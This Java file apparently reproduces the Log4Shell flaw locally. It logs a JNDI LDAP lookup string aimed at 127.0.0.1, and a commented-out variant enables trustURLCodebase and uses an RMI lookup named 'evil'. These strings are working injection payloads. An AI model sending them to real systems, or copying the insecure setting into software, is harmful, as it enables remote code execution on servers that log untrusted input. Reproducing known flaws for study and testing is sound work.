package com.haohuo.framework;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import javax.naming.NamingException;

/**
 *
 * Copyright https://wtfu.site Inc. All Rights Reserved.
 * 
 * @date 2021/12/17
 *                          @since  1.0
 *                          @author 12302
 * 
 */
public class Enter {
    
    private static final Logger logger = LogManager.getLogger(Enter.class);

    public static void main(String[] args) throws NamingException {
        
        // 第一种方式
        logger.error("${jndi:ldap://127.0.0.1:1389/nonexistdir}");




        // 第二种方式
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        //logger.error("${jndi:rmi://127.0.0.1:1099/evil}");
    }
}
